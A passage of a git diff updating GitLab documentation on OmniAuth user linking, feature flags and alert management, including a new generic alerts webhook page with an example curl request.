The Kerberos realm must match the domain part of the LDAP user's Distinguished
diff --git a/doc/integration/omniauth.md b/doc/integration/omniauth.md
index 9dd7f2cd9e1..dd183ad9eb0 100644
--- a/doc/integration/omniauth.md
+++ b/doc/integration/omniauth.md
@@ -142,19 +142,22 @@ The chosen OmniAuth provider is now active and can be used to sign in to GitLab
## Automatically Link Existing Users to OmniAuth Users
-You can automatically link OmniAuth users with existing GitLab users if their email addresses match by adding the following setting:
+> [Introduced in GitLab 13.4.](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36664)
+
+You can automatically link OmniAuth users with existing GitLab users if their email addresses match.
+For example, the following setting is used to enable the auto link feature for both a SAML provider and the Twitter OAuth provider:
**For Omnibus installations**
```ruby
-gitlab_rails['omniauth_auto_link_user'] = true
+gitlab_rails['omniauth_auto_link_user'] = ["saml", "twitter"]
```
**For installations from source**
```yaml
omniauth:
- auto_link_user: true
+ auto_link_user: ["saml", "twitter"]
```
## Configure OmniAuth Providers as External
@@ -299,7 +302,7 @@ providers without two factor authentication.
Define the allowed providers using an array, e.g. `["twitter", 'google_oauth2']`, or as
`true`/`false` to allow all providers or none. This option should only be configured
for providers which already have two factor authentication (default: false).
-This configration dose not apply to SAML.
+This configuration dose not apply to SAML.
```ruby
gitlab_rails['omniauth_allow_bypass_two_factor'] = ['twitter', 'google_oauth2']
diff --git a/doc/integration/salesforce.md b/doc/integration/salesforce.md
index 64eac2f9e66..7e0b2518e76 100644
--- a/doc/integration/salesforce.md
+++ b/doc/integration/salesforce.md
@@ -21,7 +21,7 @@ To get the credentials (a pair of Client ID and Client Secret), you must [create
1. Select **API (Enable OAuth Settings)** and click on **Enable OAuth Settings**.
1. Fill in the application details into the following fields:
- **Callback URL**: The callback URL of your GitLab installation. For example, `https://gitlab.example.com/users/auth/salesforce/callback`.
- - **Selected OAuth Scopes**: Move **Access your basic information (id, profile, email, address, phone)** and **Allow access to your unique identifier (OpenID)** to the right column.
+ - **Selected OAuth Scopes**: Move `Access your basic information (id, profile, email, address, phone)` and `Allow access to your unique identifier (openid)` to the right column.
![Salesforce OAuth App Details](img/salesforce_oauth_app_details.png)
diff --git a/doc/operations/feature_flags.md b/doc/operations/feature_flags.md
index 46a57e72484..fe7be48270a 100644
--- a/doc/operations/feature_flags.md
+++ b/doc/operations/feature_flags.md
@@ -4,9 +4,10 @@ group: Progressive Delivery
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
---
-# Feature Flags **(PREMIUM)**
+# Feature Flags **(STARTER)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/7433) in GitLab 11.4.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/7433) in GitLab 11.4.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Starter](https://about.gitlab.com/pricing/) in 13.4
With Feature Flags, you can deploy your application's new features to production in smaller batches.
You can toggle a feature on and off to subsets of users, helping you achieve Continuous Delivery.
@@ -16,6 +17,10 @@ delivery from customer launch.
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
For an example of feature flags in action, see [GitLab for Deploys, Feature Flags, and Error Tracking](https://www.youtube.com/embed/5tw2p6lwXxo).
+NOTE: **Note:**
+The Feature Flags GitLab offer as a feature (described in this document) is not the same method
+used for the [development of GitLab](../development/feature_flags/index.md).
+
## How it works
GitLab uses [Unleash](https://github.com/Unleash/unleash), a feature
@@ -50,22 +55,6 @@ To create and enable a feature flag:
You can change these settings by clicking the **{pencil}** (edit) button
next to any feature flag in the list.
-## Rollout strategy (legacy)
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8240) in GitLab 12.2.
-
-In GitLab 13.0 and earlier, the **Rollout strategy** setting affects which users will experience
-the feature as enabled. Choose the percentage of users that the feature will be enabled
-for. The rollout strategy will have no effect if the environment spec is disabled.
-
-It can be set to:
-
-- All users
-- [Percent of users](#percent-of-users)
- - Optionally, you can click the **Include additional user IDs** checkbox and add a list
- of specific users IDs to enable the feature for.
-- [User IDs](#user-ids)
-
## Feature flag strategies
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35555) in GitLab 13.0.
@@ -204,6 +193,23 @@ To enable it:
Feature.enable(:feature_flags_new_version)
```
+## Rollout strategy (legacy)
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8240) in GitLab 12.2.
+> - [Made read-only](https://gitlab.com/gitlab-org/gitlab/-/issues/220228) in GitLab 13.4.
+
+In GitLab 13.0 and earlier, the **Rollout strategy** setting affects which users will experience
+the feature as enabled. Choose the percentage of users that the feature will be enabled
+for. The rollout strategy will have no effect if the environment spec is disabled.
+
+It can be set to:
+
+- All users
+- [Percent of users](#percent-of-users)
+ - Optionally, you can click the **Include additional user IDs** checkbox and add a list
+ of specific users IDs to enable the feature for.
+- [User IDs](#user-ids)
+
## Disable a feature flag for a specific environment
In [GitLab 13.0 and earlier](https://gitlab.com/gitlab-org/gitlab/-/issues/8621),
@@ -332,8 +338,8 @@ unleash = Unleash::Client.new({
})
unleash_context = Unleash::Context.new
-# Replace "123" with the id of an authenticated user.
-# Note that the context's user id must be a string:
+# Replace "123" with the ID of an authenticated user.
+# Note that the context's user ID must be a string:
# https://unleash.github.io/docs/unleash_context
unleash_context.user_id = "123"
@@ -344,7 +350,7 @@ else
end
```
-## Feature Flag Related Issues
+## Feature Flag Related Issues **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36617) in GitLab 13.2.
> - It's deployed behind a feature flag, enabled by default.
diff --git a/doc/operations/incident_management/alert_details.md b/doc/operations/incident_management/alert_details.md
new file mode 100644
index 00000000000..860e6d32ae4
--- /dev/null
+++ b/doc/operations/incident_management/alert_details.md
@@ -0,0 +1,200 @@
+---
+stage: Monitor
+group: Health
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# Alert details page
+
+Navigate to the Alert details view by visiting the
+[Alert list](./alerts.md) and selecting an alert from the
+list. You need least Developer [permissions](../../user/permissions.md) to access
+alerts.
+
+TIP: **Tip:**
+To review live examples of GitLab alerts, visit the
+[alert list](https://gitlab.com/gitlab-examples/ops/incident-setup/everyone/tanuki-inc/-/alert_management)
+for this demo project. Click any alert in the list to examine its alert details
+page.
+
+Alerts provide **Overview** and **Alert details** tabs to give you the right
+amount of information you need.
+
+## Alert overview tab
+
+The **Overview** tab provides basic information about the alert:
+
+![Alert Detail Overview](./img/alert_detail_overview_v13_1.png)
+
+## Alert details tab
+
+![Alert Full Details](./img/alert_detail_full_v13_1.png)
+
+### Update an alert's status
+
+The Alert detail view enables you to update the Alert Status.
+See [Create and manage alerts in GitLab](./alerts.md) for more details.
+
+### Create an issue from an alert
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217745) in GitLab 13.1.
+
+The Alert detail view enables you to create an issue with a
+description automatically populated from an alert. To create the issue,
+click the **Create Issue** button. You can then view the issue from the
+alert by clicking the **View Issue** button.
+
+Closing a GitLab issue associated with an alert changes the alert's status to Resolved.
+See [Create and manage alerts in GitLab](alerts.md) for more details about alert statuses.
+
+### Update an alert's assignee
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in GitLab 13.1.
+
+The Alert detail view allows users to update the Alert assignee.
+
+In large teams, where there is shared ownership of an alert, it can be difficult
+to track who is investigating and working on it. The Alert detail view
+enables you to update the Alert assignee:
+
+NOTE: **Note:**
+GitLab currently only supports a single assignee per alert.
+
+1. To display the list of current alerts, click
+ **{cloud-gear}** **Operations > Alerts**:
+
+ ![Alert List View Assignee(s)](./img/alert_list_assignees_v13_1.png)
+
+1. Select your desired alert to display its **Alert Details View**:
+
+ ![Alert Details View Assignee(s)](./img/alert_details_assignees_v13_1.png)
+
+1. If the right sidebar is not expanded, click
+ **{angle-double-right}** **Expand sidebar** to expand it.
+1. In the right sidebar, locate the **Assignee** and click **Edit**. From the
+ dropdown menu, select each user you want to assign to the alert. GitLab creates
+ a [to-do list item](../../user/todos.md) for each user.
+
+ ![Alert Details View Assignee(s)](./img/alert_todo_assignees_v13_1.png)
+
+To remove an assignee, click **Edit** next to the **Assignee** dropdown menu and
+deselect the user from the list of assignees, or click **Unassigned**.
+
+### Alert system notes
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in GitLab 13.1.
+
+When you take action on an alert, this is logged as a system note,
+which is visible in the Alert Details view. This gives you a linear
+timeline of the alert's investigation and assignment history.
+
+The following actions will result in a system note:
+
+- [Updating the status of an alert](#update-an-alerts-status)
+- [Creating an issue based on an alert](#create-an-issue-from-an-alert)
+- [Assignment of an alert to a user](#update-an-alerts-assignee)
+
+![Alert Details View System Notes](./img/alert_detail_system_notes_v13_1.png)
+
+### Create a to-do from an alert
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in GitLab 13.1.
+
+You can manually create [To-Do list items](../../user/todos.md) for yourself from the
+Alert details screen, and view them later on your **To-Do List**. To add a to-do:
+
+1. To display the list of current alerts, click
+ **{cloud-gear}** **Operations > Alerts**.
+1. Select your desired alert to display its **Alert Management Details View**.
+1. Click the **Add a To-Do** button in the right sidebar:
+
+ ![Alert Details Add A To Do](./img/alert_detail_add_todo_v13_1.png)
+
+Click the **To-Do** **{todo-done}** in the navigation bar to view your current to-do list.
+
+![Alert Details Added to Do](./img/alert_detail_added_todo_v13_1.png)
+
+### View an alert's metrics data
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217768) in GitLab 13.2.
+
+To view the metrics for an alert:
+
+ 1. Sign in as a user with Developer or higher [permissions](../../user/permissions.md).
+ 1. Navigate to **{cloud-gear}** **Operations > Alerts**.
+ 1. Click the alert you want to view.
+ 1. Below the title of the alert, click the **Metrics** tab.
+
+![Alert Metrics View](img/alert_detail_metrics_v13_2.png)
+
+For GitLab-managed Prometheus instances, metrics data is automatically available
+for the alert, making it easy to see surrounding behavior. See
+[Managed Prometheus instances](../metrics/alerts.md#managed-prometheus-instances)
+for information on setting up alerts.
+
+For externally-managed Prometheus instances, you can configure your alerting rules to
+display a chart in the alert. See
+[Embedding metrics based on alerts in incident issues](../metrics/embed.md#embedding-metrics-based-on-alerts-in-incident-issues)
+for information on how to appropriately configure your alerting rules. See
+[External Prometheus instances](../metrics/alerts.md#external-prometheus-instances)
+for information on setting up alerts for your self-managed Prometheus instance.
+
+## Use cases for assigning alerts
+
+Consider a team formed by different sections of monitoring, collaborating on a
+single application. After an alert surfaces, it's extremely important to
+route the alert to the team members who can address and resolve the alert.
+
+Assigning Alerts eases collaboration and delegation. All
+assignees are shown in your team's work-flows, and all assignees receive
+notifications, simplifying communication and ownership of the alert.
+
+After completing their portion of investigating or fixing the alert, users can
+unassign their account from the alert when their role is complete.
+The alert status can be updated on the [Alert list](./alerts.md) to
+reflect if the alert has been resolved.
+
+## View an alert's logs
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217768) in GitLab 13.3.
+
+To view the logs for an alert:
+
+ 1. Sign in as a user with Developer or higher [permissions](../../user/permissions.md).
+ 1. Navigate to **{cloud-gear}** **Operations > Alerts**.
+ 1. Click the alert you want to view.
+ 1. Below the title of the alert, click the **Metrics** tab.
+ 1. Click the [menu](../metrics/dashboards/index.md#chart-context-menu) of the metric chart to view options.
+ 1. Click **View logs**.
+
+Read [View logs from metrics panel](#view-logs-from-metrics-panel) for additional information.
+
+## Embed metrics in incidents and issues
+
+You can embed metrics anywhere [GitLab Markdown](../../user/markdown.md) is used, such as descriptions,
+comments on issues, and merge requests. Embedding metrics helps you share them
+when discussing incidents or performance issues. You can output the dashboard directly
+into any issue, merge request, epic, or any other Markdown text field in GitLab
+by [copying and pasting the link to the metrics dashboard](../metrics/embed.md#embedding-gitlab-managed-kubernetes-metrics).
+
+You can embed both
+[GitLab-hosted metrics](../metrics/embed.md) and
+[Grafana metrics](../metrics/embed_grafana.md)
+in incidents and issue templates.
+
+### Context menu
+
+You can view more details about an embedded metrics panel from the context menu.
+To access the context menu, click the **{ellipsis_v}** **More actions** dropdown box
+above the upper right corner of the panel. For a list of options, see
+[Chart context menu](../metrics/dashboards/index.md#chart-context-menu).
+
+#### View logs from metrics panel
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/201846) in GitLab Ultimate 12.8.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25455) to [GitLab Core](https://about.gitlab.com/pricing/) 12.9.
+
+Viewing logs from a metrics panel can be useful if you're triaging an application
+incident and need to [explore logs](../metrics/dashboards/index.md#chart-context-menu)
+from across your application. These logs help you understand what is affecting
+your application's performance and resolve any problems.
diff --git a/doc/operations/incident_management/alertdetails.md b/doc/operations/incident_management/alertdetails.md
deleted file mode 100644
index 774eaee286f..00000000000
--- a/doc/operations/incident_management/alertdetails.md
+++ /dev/null
@@ -1,194 +0,0 @@
----
-stage: Monitor
-group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
----
-
-# Alert details page
-
-Navigate to the Alert details view by visiting the
-[Alert list](alerts.md) and selecting an alert from the
-list. You need least Developer [permissions](../../user/permissions.md) to access
-alerts.
-
-Alerts provide **Overview** and **Alert details** tabs to give you the right
-amount of information you need.
-
-## Alert overview tab
-
-The **Overview** tab provides basic information about the alert:
-
-![Alert Detail Overview](img/alert_detail_overview_v13_1.png)
-
-## Alert details tab
-
-![Alert Full Details](img/alert_detail_full_v13_1.png)
-
-### Update an Alert's status
-
-The Alert detail view enables you to update the Alert Status.
-See [Create and manage alerts in GitLab](alerts.md) for more details.
-
-### Create an Issue from an Alert
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217745) in GitLab 13.1.
-
-The Alert detail view enables you to create an issue with a
-description automatically populated from an alert. To create the issue,
-click the **Create Issue** button. You can then view the issue from the
-alert by clicking the **View Issue** button.
-
-Closing a GitLab issue associated with an alert changes the alert's status to Resolved.
-See [Create and manage alerts in GitLab](alerts.md) for more details about alert statuses.
-
-### Update an Alert's assignee
-
-> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in GitLab 13.1.
-
-The Alert detail view allows users to update the Alert assignee.
-
-In large teams, where there is shared ownership of an alert, it can be difficult
-to track who is investigating and working on it. The Alert detail view
-enables you to update the Alert assignee:
-
-NOTE: **Note:**
-GitLab currently only supports a single assignee per alert.
-
-1. To display the list of current alerts, click
- **{cloud-gear}** **Operations > Alerts**:
-
- ![Alert List View Assignee(s)](img/alert_list_assignees_v13_1.png)
-
-1. Select your desired alert to display its **Alert Details View**:
-
- ![Alert Details View Assignee(s)](img/alert_details_assignees_v13_1.png)
-
-1. If the right sidebar is not expanded, click
- **{angle-double-right}** **Expand sidebar** to expand it.
-1. In the right sidebar, locate the **Assignee** and click **Edit**. From the
- dropdown menu, select each user you want to assign to the alert. GitLab creates
- a [To-Do list item](../../user/todos.md) for each user.
-
- ![Alert Details View Assignee(s)](img/alert_todo_assignees_v13_1.png)
-
-To remove an assignee, click **Edit** next to the **Assignee** dropdown menu and
-deselect the user from the list of assignees, or click **Unassigned**.
-
-### Alert system notes
-
-> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in GitLab 13.1.
-
-When you take action on an alert, this is logged as a system note,
-which is visible in the Alert Details view. This gives you a linear
-timeline of the alert's investigation and assignment history.
-
-The following actions will result in a system note:
-
-- [Updating the status of an alert](#update-an-alerts-status)
-- [Creating an issue based on an alert](#create-an-issue-from-an-alert)
-- [Assignment of an alert to a user](#update-an-alerts-assignee)
-
-![Alert Details View System Notes](img/alert_detail_system_notes_v13_1.png)
-
-### Create a To-Do from an Alert
-
-> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in GitLab 13.1.
-
-You can manually create [To-Do list items](../../user/todos.md) for yourself from the
-Alert details screen, and view them later on your **To-Do List**. To add a To-Do:
-
-1. To display the list of current alerts, click
- **{cloud-gear}** **Operations > Alerts**.
-1. Select your desired alert to display its **Alert Management Details View**.
-1. Click the **Add a To-Do** button in the right sidebar:
-
- ![Alert Details Add A To Do](img/alert_detail_add_todo_v13_1.png)
-
-Click the **To-Do** **{todo-done}** in the navigation bar to view your current To-Do list.
-
-![Alert Details Added to Do](img/alert_detail_added_todo_v13_1.png)
-
-### View an Alert's metrics data
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217768) in GitLab 13.2.
-
-To view the metrics for an alert:
-
- 1. Sign in as a user with Developer or higher [permissions](../../user/permissions.md).
- 1. Navigate to **{cloud-gear}** **Operations > Alerts**.
- 1. Click the alert you want to view.
- 1. Below the title of the alert, click the **Metrics** tab.
-
-![Alert Metrics View](img/alert_detail_metrics_v13_2.png)
-
-For GitLab-managed Prometheus instances, metrics data is automatically available
-for the alert, making it easy to see surrounding behavior. See
-[Managed Prometheus instances](../metrics/alerts.md#managed-prometheus-instances)
-for information on setting up alerts.
-
-For externally-managed Prometheus instances, you can configure your alerting rules to
-display a chart in the alert. See
-[Embedding metrics based on alerts in incident issues](../metrics/embed.md#embedding-metrics-based-on-alerts-in-incident-issues)
-for information on how to appropriately configure your alerting rules. See
-[External Prometheus instances](../metrics/alerts.md#external-prometheus-instances)
-for information on setting up alerts for your self-managed Prometheus instance.
-
-## Use cases for assigning alerts
-
-Consider a team formed by different sections of monitoring, collaborating on a
-single application. After an alert surfaces, it's extremely important to
-route the alert to the team members who can address and resolve the alert.
-
-Assigning Alerts eases collaboration and delegation. All
-assignees are shown in your team's work-flows, and all assignees receive
-notifications, simplifying communication and ownership of the alert.
-
-After completing their portion of investigating or fixing the alert, users can
-unassign their account from the alert when their role is complete.
-The alert status can be updated on the [Alert list](alerts.md) to
-reflect if the alert has been resolved.
-
-## View an Alert's logs
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217768) in GitLab 13.3.
-
-To view the logs for an alert:
-
- 1. Sign in as a user with Developer or higher [permissions](../../user/permissions.md).
- 1. Navigate to **{cloud-gear}** **Operations > Alerts**.
- 1. Click the alert you want to view.
- 1. Below the title of the alert, click the **Metrics** tab.
- 1. Click the [menu](../metrics/dashboards/index.md#chart-context-menu) of the metric chart to view options.
- 1. Click **View logs**.
-
-Read [View logs from metrics panel](#view-logs-from-metrics-panel) for additional information.
-
-## Embed metrics in incidents and issues
-
-You can embed metrics anywhere [GitLab Markdown](../../user/markdown.md) is used, such as descriptions,
-comments on issues, and merge requests. Embedding metrics helps you share them
-when discussing incidents or performance issues. You can output the dashboard directly
-into any issue, merge request, epic, or any other Markdown text field in GitLab
-by [copying and pasting the link to the metrics dashboard](../metrics/embed.md#embedding-gitlab-managed-kubernetes-metrics).
-
-You can embed both
-[GitLab-hosted metrics](../metrics/embed.md) and
-[Grafana metrics](../metrics/embed_grafana.md)
-in incidents and issue templates.
-
-### Context menu
-
-You can view more details about an embedded metrics panel from the context menu.
-To access the context menu, click the **{ellipsis_v}** **More actions** dropdown box
-above the upper right corner of the panel. For a list of options, see
-[Chart context menu](../metrics/dashboards/index.md#chart-context-menu).
-
-#### View logs from metrics panel
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/201846) in GitLab Ultimate 12.8.
-> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25455) to [GitLab Core](https://about.gitlab.com/pricing/) 12.9.
-
-Viewing logs from a metrics panel can be useful if you're triaging an application
-incident and need to [explore logs](../metrics/dashboards/index.md#chart-context-menu)
-from across your application. These logs help you understand what is affecting
-your application's performance and resolve any problems.
diff --git a/doc/operations/incident_management/alerts.md b/doc/operations/incident_management/alerts.md
index 5a5fc59d5e3..d908af63000 100644
--- a/doc/operations/incident_management/alerts.md
+++ b/doc/operations/incident_management/alerts.md
@@ -14,7 +14,7 @@ but you can change the sort order by clicking the headers in the Alert Managemen
The alert list displays the following information:
-![Alert List](../../user/project/operations/img/alert_list_v13_1.png)
+![Alert List](./img/alert_list_v13_1.png)
- **Search** - The alert list supports a simple free text search on the title,
description, monitoring tool, and service fields.
@@ -31,6 +31,10 @@ The alert list displays the following information:
- **Triggered**: No one has begun investigation.
- **Acknowledged**: Someone is actively investigating the problem.
- **Resolved**: No further work is required.
+
+TIP: **Tip:**
+Check out a [live example](https://gitlab.com/gitlab-examples/ops/incident-setup/everyone/tanuki-inc/-/alert_management)
+in GitLab to examine alerts in action.
## Enable Alerts
@@ -58,7 +62,7 @@ To populate the alerts with data, read
You can configure an externally-managed Prometheus instance to send alerts
to GitLab. To set up this configuration, read the [configuring Prometheus](../metrics/alerts.md#external-prometheus-instances) documentation. Activating the external Prometheus
-configuration also enables the [Alerts list](alerts.md).
+configuration also enables the [Alerts list](./alerts.md).
To populate the alerts with data, read
[External Prometheus instances](../metrics/alerts.md#external-prometheus-instances).
@@ -67,11 +71,11 @@ To populate the alerts with data, read
GitLab provides the Generic Alerts endpoint so you can accept alerts from a third-party
alerts service. Read the
-[instructions for toggling generic alerts](../../user/project/integrations/generic_alerts.md#setting-up-generic-alerts)
+[instructions for toggling generic alerts](generic_alerts.md#setting-up-generic-alerts)
to add this option. After configuring the endpoint, the
-[Alerts list](alerts.md) is enabled.
+[Alerts list](./alerts.md) is enabled.
-To populate the alerts with data, read [Customizing the payload](../../user/project/integrations/generic_alerts.md#customizing-the-payload) for requests to the alerts endpoint.
+To populate the alerts with data, read [Customizing the payload](./generic_alerts.md#customizing-the-payload) for requests to the alerts endpoint.
### Opsgenie integration **(PREMIUM)**
@@ -82,7 +86,7 @@ A new way of monitoring Alerts via a GitLab integration is with
NOTE: **Note:**
If you enable the Opsgenie integration, you can't have other GitLab alert services,
-such as [Generic Alerts](../../user/project/integrations/generic_alerts.md) or
+such as [Generic Alerts](./generic_alerts.md) or
Prometheus alerts, active at the same time.
To enable Opsgenie integration:
@@ -104,7 +108,7 @@ Each level of alert contains a uniquely shaped and color-coded icon to help
you identify the severity of a particular alert. These severity icons help you
immediately identify which alerts you should prioritize investigating:
-![Alert Management Severity System](img/alert_management_severity_v13_0.png)
+![Alert Management Severity System](./img/alert_management_severity_v13_0.png)
Alerts contain one of the following icons:
diff --git a/doc/operations/incident_management/generic_alerts.md b/doc/operations/incident_management/generic_alerts.md
new file mode 100644
index 00000000000..11d4dbc6924
--- /dev/null
+++ b/doc/operations/incident_management/generic_alerts.md
@@ -0,0 +1,126 @@
+---
+stage: Monitor
+group: Health
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# Generic alerts integration
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13203) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.4.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/42640) to [GitLab Core](https://about.gitlab.com/pricing/) in 12.8.
+
+GitLab can accept alerts from any source via a generic webhook receiver.
+When you set up the generic alerts integration, a unique endpoint will
+be created which can receive a payload in JSON format, and will in turn
+create an issue with the payload in the body of the issue. You can always
+[customize the payload](#customizing-the-payload) to your liking.
+
+The entire payload will be posted in the issue discussion as a comment
+authored by the GitLab Alert Bot.
+
+NOTE: **Note:**
+In GitLab versions 13.1 and greater, you can configure
+[External Prometheus instances](../metrics/alerts.md#external-prometheus-instances)
+to use this endpoint.
+
+## Setting up generic alerts
+
+To obtain credentials for setting up a generic alerts integration:
+
+- Sign in to GitLab as a user with maintainer [permissions](../../user/permissions.md) for a project.
+- Navigate to the **Operations** page for your project, depending on your installed version of GitLab:
+ - *In GitLab versions 13.1 and greater,* navigate to **Settings > Operations** in your project.
+ - *In GitLab versions prior to 13.1,* navigate to **Settings > Integrations** in your project. GitLab will display a banner encouraging you to enable the Alerts endpoint in **Settings > Operations** instead.
+- Click **Alerts endpoint**.
+- Toggle the **Active** alert setting to display the **URL** and **Authorization Key** for the webhook configuration.
+
+## Customizing the payload
+
+You can customize the payload by sending the following parameters. All fields other than `title` are optional:
+
+| Property | Type | Description |
+| -------- | ---- | ----------- |
+| `title` | String | The title of the incident. Required. |
+| `description` | String | A high-level summary of the problem. |
+| `start_time` | DateTime | The time of the incident. If none is provided, a timestamp of the issue will be used. |
+| `end_time` | DateTime | For existing alerts only. When provided, the alert is resolved and the associated incident is closed. |
+| `service` | String | The affected service. |
+| `monitoring_tool` | String | The name of the associated monitoring tool. |
+| `hosts` | String or Array | One or more hosts, as to where this incident occurred. |
+| `severity` | String | The severity of the alert. Must be one of `critical`, `high`, `medium`, `low`, `info`, `unknown`. Default is `critical`. |
+| `fingerprint` | String or Array | The unique identifier of the alert. This can be used to group occurrences of the same alert. |
+| `gitlab_environment_name` | String | The name of the associated GitLab [environment](../../ci/environments/index.md). This can be used to associate your alert to your environment. |
+
+You can also add custom fields to the alert's payload. The values of extra parameters
+are not limited to primitive types, such as strings or numbers, but can be a nested
+JSON object. For example:
+
+```json
+{ "foo": { "bar": { "baz": 42 } } }
+```
+
+TIP: **Payload size:**
+Ensure your requests are smaller than the [payload application limits](../../administration/instance_limits.md#generic-alert-json-payloads).
+
+Example request:
+
+```shell
+curl --request POST \
+ --data '{"title": "Incident title"}' \
+ --header "Authorization: Bearer <authorization_key>" \
+ --header "Content-Type: application/json" \
+ <url>
+```
+
+The `<authorization_key>` and `<url>` values can be found when [setting up generic alerts](#setting-up-generic-alerts).
+
+Example payload:
+
+```json
+{
+ "title": "Incident title",
+ "description": "Short description of the incident",
+ "start_time": "2019-09-12T06:00:55Z",
+ "service": "service affected",
+ "monitoring_tool": "value",
+ "hosts": "value",
+ "severity": "high",
+ "fingerprint": "d19381d4e8ebca87b55cda6e8eee7385",
+ "foo": {
+ "bar": {
+ "baz": 42
+ }
+ }
+}
+```
+
+## Triggering test alerts
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in GitLab Core in 13.2.
+
+After a [project maintainer or owner](#setting-up-generic-alerts)
+[configures generic alerts](#setting-up-generic-alerts), you can trigger a
+test alert to confirm your integration works properly.
+
+1. Sign in as a user with Developer or greater [permissions](../../user/permissions.md).
+1. Navigate to **Settings > Operations** in your project.
+1. Click **Alerts endpoint** to expand the section.
+1. Enter a sample payload in **Alert test payload** (valid JSON is required).
+1. Click **Test alert payload**.
+
+GitLab displays an error or success message, depending on the outcome of your test.
+
+## Automatic grouping of identical alerts **(PREMIUM)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214557) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2.
+
+In GitLab versions 13.2 and greater, GitLab groups alerts based on their payload.
+When an incoming alert contains the same payload as another alert (excluding the
+`start_time` and `hosts` attributes), GitLab groups these alerts together and
+displays a counter on the
+[Alert Management List](./incidents.md)
+and details pages.
+
+If the existing alert is already `resolved`, then a new alert will be created instead.
+
+![Alert Management List](./img/alert_list_v13_1.png)
diff --git a/doc/user/project/operations/img/alert_list_v13_1.png b/doc/operations/incident_management/img/alert_list_v13_1.png
index 7a1a5f5191e..7a1a5f5191e 100644
--- a/doc/user/project/operations/img/alert_list_v13_1.png
+++ b/doc/operations/incident_management/img/alert_list_v13_1.png
Binary files differ
diff --git a/doc/operations/incident_management/img/incident_alert_details_v13_4.png b/doc/operations/incident_management/img/incident_alert_details_v13_4.png
new file mode 100644
index 00000000000..d98ab99a4ff
--- /dev/null
+++ b/doc/operations/incident_management/img/incident_alert_details_v13_4.png
Binary files differ
diff --git a/doc/operations/incident_management/img/incident_list_sort_v13_3.png b/doc/operations/incident_management/img/incident_list_sort_v13_3.png
deleted file mode 100644
index 4a263aa188e..00000000000
--- a/doc/operations/incident_management/img/incident_list_sort_v13_3.png
+++ /dev/null
Binary files differ
diff --git a/doc/operations/incident_management/img/incident_list_v13_4.png b/doc/operations/incident_management/img/incident_list_v13_4.png
new file mode 100644
index 00000000000..bf00e630c67
--- /dev/null
+++ b/doc/operations/incident_management/img/incident_list_v13_4.png
Binary files differ
diff --git a/doc/operations/incident_management/img/new_incident_create_v13_4.png b/doc/operations/incident_management/img/new_incident_create_v13_4.png
new file mode 100644
index 00000000000..458532736bd
--- /dev/null
+++ b/doc/operations/incident_management/img/new_incident_create_v13_4.png
Binary files differ
diff --git a/doc/operations/incident_management/incidents.md b/doc/operations/incident_management/incidents.md
index 0668dc72c22..3ff02b3dc6b 100644
--- a/doc/operations/incident_management/incidents.md
+++ b/doc/operations/incident_management/incidents.md
@@ -13,12 +13,23 @@ For users with at least Developer [permissions](../../user/permissions.md), the
Incident Management list is available at **Operations > Incidents**
in your project's sidebar. The list contains the following metrics:
-![Incident List](img/incident_list_sort_v13_3.png)
+![Incident List](img/incident_list_v13_4.png)
- **Status** - To filter incidents by their status, click **Open**, **Closed**,
or **All** above the incident list.
- **Search** - The Incident list supports a simple free text search, which filters
on the **Title** and **Incident** fields.
+- **Severity** - Severity of a particular incident, which can be one of the following
+ values:
+ - **{severity-critical}** **Critical - S1**
+ - **{severity-high}** **High - S2**
+ - **{severity-medium}** **Medium - S3**
+ - **{severity-low}** **Low - S4**
+ - **{severity-unknown}** **Unknown**
+
+ NOTE: **Note:**
+ Editing incident severity on the incident details page was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229402) in GitLab 13.4.
+
- **Incident** - The description of the incident, which attempts to capture the
most meaningful data.
- **Date created** - How long ago the incident was created. This field uses the
@@ -26,13 +37,17 @@ in your project's sidebar. The list contains the following metrics:
tooltip depending on the user's locale.
- **Assignees** - The user assigned to the incident.
- **Published** - Displays a green check mark (**{check-circle}**) if the incident is published
